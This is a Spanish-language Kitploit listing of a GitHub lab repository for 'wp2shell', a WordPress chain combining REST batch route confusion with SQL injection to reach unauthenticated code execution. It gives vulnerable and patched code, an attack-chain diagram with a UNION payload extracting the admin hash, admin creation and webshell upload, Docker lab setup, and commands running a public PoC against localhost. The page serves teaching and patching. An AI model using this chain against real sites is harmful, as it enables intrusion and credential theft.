Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-63030-lab — wp2shell (CVE-2026-63030 & CVE-2026-60137) - cadena RCE completa | Kitploit
Herramientas/GitHubGitHub/mhassani97/cve-2026-63030-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebAprendizaje y EducaciónLabs y Práctica
GitHubmhassani97/cve-2026-63030-lab

cve-2026-63030-lab

wp2shell (CVE-2026-63030 & CVE-2026-60137) - cadena RCE completa

Ver Repositorio
1hace 4 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-63030 — Laboratorio wp2shell

RCE sin autenticación previa en el núcleo de WordPress mediante confusión de rutas por lotes en la API REST + inyección SQL

WordPress CVE CVSS License

Descargar herramienta

Descripción general

wp2shell es una cadena de dos fallos independientes de baja gravedad en el núcleo de WordPress que, al combinarse, permiten a un atacante remoto no autenticado:

  1. Alcanzar un sumidero de inyección SQL sin credenciales
  2. Extraer el hash de la contraseña del administrador de la base de datos
  3. Crear una nueva cuenta de administrador
  4. Subir un webshell y lograr la Ejecución Remota de Código completa
PropiedadDetalle
CVEsCVE-2026-63030 + CVE-2026-60137
CVSS9.8 Crítico
Autenticación requeridaNinguna (sin autenticación previa)
Vector de ataqueRed
Versiones afectadasWordPress 6.9.0–6.9.4 y 7.0.0–7.0.1
Versiones parcheadas6.9.5 y 7.0.2 (publicadas el 17 de julio de 2026)

Los Dos Fallos

CVE-2026-63030 — Confusión de rutas por lotes en la API REST

Archivo: wp-includes/rest-api/class-wp-rest-server.php

serve_batch_request_v1() mantiene dos arrays paralelos: $matches[] para los manejadores y $validation[] para los resultados. Cuando una sub-solicitud falla con un WP_Error (ruta rota), se inserta en $validation[] pero no en $matches[]. Esto crea un desplazamiento de índice de +1: la sub-solicitud i se despacha con el manejador de la sub-solicitud i+1.

root@kitploit:~
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
    $responses[] = envelope();
    continue; // $matches[] NOT pushed ← BUG
}

// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
    $matches[]   = null; // ← FIX: keeps arrays in sync
    $responses[] = envelope();
    continue;
}

CVE-2026-60137 — Inyección SQL en WP_Query

Archivo: wp-includes/class-wp-query.php

El parámetro author__not_in espera un array de enteros. Cuando se le pasa una cadena, implode() concatena el valor bruto directamente en la cláusula SQL WHERE — sin escape ni parametrización.

root@kitploit:~
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';

// PATCHED (7.0.2)
$safe   = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";

Cadena de Ataque

root@kitploit:~
Unauthenticated Attacker
        │
        ▼
POST /?rest_route=/batch/v1          ← Outer batch
  sub-req 0: "///"   → WP_Error → index shift (+1)
  sub-req 1: POST /wp/v2/posts       ← dispatched under BATCH handler
  sub-req 2: POST /batch/v1          ← dummy
        │
        │  [Confusion #1 active]
        ▼
Inner batch (body of sub-req 1)      ← schema never validated
  inner 0: "///"    → index shift (+1)
  inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
           dispatched under posts get_items()
        │
        │  [Confusion #2 active]
        ▼
WP_Query: author__not_in = raw string
        │
        ▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
        │
        ▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
        │
        ▼
Crack hash  OR  crack-free oEmbed technique
        │
        ▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE

Configuración del Laboratorio

Requisitos previos

HerramientaDescarga
Docker Desktop (Windows / macOS)https://www.docker.com/products/docker-desktop
Docker Engine (Linux)https://docs.docker.com/engine/install
Githttps://git-scm.com/downloads
Burp Suite Community (opcional)https://portswigger.net/burp/communitydownload

Paso 1 — Clonar el repositorio

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab

Verás estos archivos:

root@kitploit:~
cve-2026-63030-lab/
├── docker-compose.yml     ← defines WordPress + MySQL containers
├── Dockerfile             ← custom image with Apache fix + wp-cli
├── init.sh                ← configures permalink after install
└── fix-htaccess.ps1       ← Windows helper (run if Apache returns 404)

Paso 2 — Construir e iniciar el laboratorio

root@kitploit:~
docker compose up -d --build

Esto:

  • Construirá la imagen personalizada de WordPress 7.0.1 (tarda ~1–2 min en la primera ejecución)
  • Iniciará un contenedor de base de datos MySQL 8.0
  • Expondrá WordPress en http://localhost:9090

Verifica que ambos contenedores estén en ejecución:

root@kitploit:~
docker compose ps

Salida esperada:

root@kitploit:~
NAME              STATUS
wp2shell-lab      running
wp2shell-db       running

Paso 3 — Completar la instalación de WordPress

Abre http://localhost:9090 en tu navegador y completa:

CampoValor sugerido
Título del sitioCVE-2026-63030
Nombre de usuarioadmin
Contraseñacualquier contraseña
Correo electrónico[email protected]

Haz clic en Instalar WordPress y luego inicia sesión.


Paso 4 — Habilitar el enrutado de la API REST (requerido)

Ejecuta esto una vez tras la instalación:

Linux / macOS:

root@kitploit:~
docker exec wp2shell-lab bash -c "
  wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
  wp rewrite flush --allow-root --path=/var/www/html
"

Windows PowerShell:

root@kitploit:~
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"

Salida esperada:

root@kitploit:~
Success: Rewrite structure set.
Success: Rewrite rules flushed.

Paso 5 — Corregir .htaccess (solo Windows, si obtienes un 404 en la API REST)

root@kitploit:~
.\fix-htaccess.ps1

Paso 6 — Verificar que el laboratorio está listo

root@kitploit:~
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5

Si ves una respuesta JSON con "namespaces" — el laboratorio está listo.


Limpieza

root@kitploit:~
# Stop and remove everything including database
docker compose down -v

Explotación (PoC)

⚠️ Solo para investigación de seguridad autorizada y fines educativos. Úsalo únicamente contra sistemas que te pertenezcan o para los que tengas permiso explícito por escrito para realizar pruebas.

La cadena de explotación completa (detección → SQLi → creación de administrador → webshell → RCE) está implementada en:

github.com/Icex0/wp2shell-poc

root@kitploit:~
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt

# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090

# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090

El Parche

Tres archivos, menos de 10 líneas de PHP:

ArchivoCambio
class-wp-rest-server.phpPlaceholder $matches[] = null para mantener los arrays sincronizados
class-wp-query.phpCast (array) + array_map('absint', ...)
class-wp-rest-posts-controller.phpLa misma sanitización en la capa REST

Actualiza a WordPress 6.9.5 o 7.0.2 para remediar el problema.


Referencias

RecursoEnlace
Aviso de GitHub (CVE-2026-63030)GHSA-ff9f-jf42-662q
Aviso de GitHub (CVE-2026-60137)GHSA-fpp7-x2x2-2mjf
PoC públicohttps://github.com/Icex0/wp2shell-poc

Hecho con ❤️ por Black Security Team

Website Telegram LinkedIn

Este repositorio es solo para fines educativos e investigación de seguridad autorizada. No realices pruebas contra sistemas que no te pertenezcan o para los que no tengas permiso explícito por escrito.